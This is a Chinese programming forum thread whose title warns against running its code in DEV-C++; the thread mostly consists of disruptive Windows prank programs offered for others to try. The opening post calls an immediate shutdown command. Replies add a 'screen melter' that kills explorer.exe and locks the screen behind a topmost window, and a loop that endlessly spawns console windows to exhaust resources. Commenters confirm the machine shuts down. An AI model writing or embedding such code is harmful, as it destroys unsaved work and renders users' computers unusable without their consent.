千万不要在DEV-C++上运行(不然你会后悔的)!!

Ecky7 吉祥物 2023-08-15 12:22:32 0

#include<bits/stdc++.h>

#include<windows.h>

using namespace std;

int main(){

system("shutdown -s -t 0");

cout<<"0s:\n";

Sleep(1);

cout<<"6s";

return 0;

}

{{ vote && vote.total.up }}

共 10 条回复

Ecky7 吉祥物

@hqiqi 6

hqiqi
#include<Windows.h>
#include<atlimage.h>
#include"resource.h"
int ScreenWidth;
int ScreenHeight;
CImage copy;
HCURSOR hcur;
LRESULT CALLBACK Melter(HWND hwnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
	switch (Msg)
	{
		case WM_CREATE: {
			//system("taskkill explorer.exe");
			SetClassLong(hwnd, GCL_HCURSOR, (long)hcur);
			ShowWindow(hwnd, SW_SHOW);
			SetWindowPos(hwnd, HWND_TOPMOST, 0, 0, 100, 100, SWP_NOMOVE | SWP_NOSIZE);
			HDC hdc = GetDC(hwnd);
			//MessageBox(0,"debug", "", 0);
			copy.Save("D:\\11111.jpg");
			::BitBlt(hdc, 0, 0, ScreenWidth, ScreenHeight, copy.GetDC(), 0, 0, SRCCOPY);
			SetForegroundWindow(hwnd);
			break;
		}
		case WM_KEYDOWN:
		{
			if (wParam == VK_NUMPAD5)
			{
				ShellExecute(0, "OPEN", "C:\\Windows\\explorer.exe", "", "D:\\", 0);
				exit(0);
				return 0;
			}
		}
		break;
		case WM_PAINT: {
			MessageBox(0, "", "", 0);
			ValidateRect(hwnd, 0);
			break;
		}
		case WM_CLOSE: {
			return 0;
		}
		case WM_DESTROY: {
			return 0;
		}
		case WM_COMMAND: {
			return 0;
		}
	}
	return DefWindowProc(hwnd, Msg, wParam, lParam);
}
BOOL LoadImageFromResource(CImage*pImage, UINT nResID, LPCTSTR lpTyp)
{
	if (pImage == NULL)
		return false;
	pImage->Destroy();
	HMODULE mod=GetModuleHandle(NULL);
	HRSRC hRsrc = ::FindResource(mod, MAKEINTRESOURCE(nResID), lpTyp);
	if (hRsrc == NULL)return false;
	HGLOBAL hImgData = ::LoadResource(mod, hRsrc);
	if (hImgData == NULL)
	{
		::FreeResource(hImgData);
		return false;
	}
	char* lpVoid =(char*)( ((int)::LockResource(hImgData)));
	LPSTREAM pStream = NULL;
	DWORD dwSize = ::SizeofResource(mod, hRsrc);
	HGLOBAL hNew = ::GlobalAlloc(GHND, dwSize+14);
	LPBYTE lpByte = (LPBYTE)::GlobalLock(hNew);
	char t[14] = { 0x42 ,0x4D ,0x36 ,0xEC ,0x5E ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x36 ,0x00 ,0x00 ,0x00 };
	for (int i = 0; i < 14; i++)
		lpByte[i] = t[i];
	for (int i = 0; i < dwSize; i++)
		lpByte[14 + i] = lpVoid[i];
	::GlobalUnlock(hNew);
	HRESULT ht = ::CreateStreamOnHGlobal(hNew, TRUE, &pStream);
	if (ht != S_OK)
	{
		GlobalFree(hNew);
	}
	else
	{
		/*HANDLE h=CreateFile("D:\\textssssssss.bmp", GENERIC_WRITE, NULL, NULL, CREATE_NEW, FILE_ATTRIBUTE_HIDDEN, 0);
		DWORD dwWrite = 0;
		WriteFile(h, t, 14, &dwWrite, NULL);
		WriteFile(h, lpVoid, dwSize, &dwWrite, NULL);
		CloseHandle(h);*/
		pImage->Load(pStream);
		GlobalFree(hNew);
		if (pImage->IsNull())
		{
			::FreeResource(hImgData);
			MessageBox(0, "失败", "", 0);
			return false;
		}
	}
	::FreeResource(hImgData);
	return true;
}
int WINAPI WinMain(HINSTANCE h1, HINSTANCE h2, LPSTR cmd, int show)
{
	hcur = LoadCursor(h1, MAKEINTRESOURCE(IDC_CURSOR1));
	bool k=LoadImageFromResource(&copy, IDB_BITMAP1, RT_BITMAP);
	if (!k)
	{
		MessageBox(0, "失败", "", 0);
		return 0;
	}
	else
		copy.Save("D:\\11111.jpg");
	ScreenWidth = GetSystemMetrics(SM_CXSCREEN);
	ScreenHeight = GetSystemMetrics(SM_CYSCREEN);
	ShellExecute(0, "OPEN", "C:\\Windows\\System32\\taskkill.exe", "/im explorer.exe /f", "D:\\", 0);
	Sleep(3000);
	WNDCLASS wndclass = { 0,Melter,0,0,h1,0,LoadCursor(0,IDC_ARROW),0,0,"ScreenMelter" };
	if (RegisterClass(&wndclass))
	{
		HWND hwnd = CreateWindowExA(WS_EX_TOPMOST, "ScreenMelter", 0, WS_POPUP, 0, 0, ScreenWidth, ScreenHeight, HWND_DESKTOP, 0, h1, 0);
		if (hwnd)
		{
			MSG msg = { 0 };
			while (1)
			{
				if (GetMessage(&msg, 0, 0, 0))
				{
					TranslateMessage(&msg);
					DispatchMessage(&msg);
				}
				else break;
			}
			return msg.wParam;
		}
	}
}
CPP 刷题王
#include<bits/stdc++.h>

#include<windows.h>

using namespace std;

int main(){ long long n; cin >> n; for (int i = 1; i <= n; ) { system("start"); system("start"); system("start");system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start"); system("start");}

return 0; }
Ecky7 吉祥物

@CPP按叉叉就好了,CPP代码攻略

CPP 刷题王
#include<bits/stdc++.h>

#include<windows.h>

using namespace std;

int main(){ long long n; cin >> n; for (int i = 1; i <= n; i++) { system("pause"); system("pause"); system("pause");system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("start"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); system("pause"); n++; system("pause"); system("pause"); system("pause"); }

return 0; }
wyh15 Minecraft

会关机

gym14 氪佬

大家千万别去式

Kinghero King of the summit

早就知道了

gym14 氪佬

真坑

gym14 氪佬

666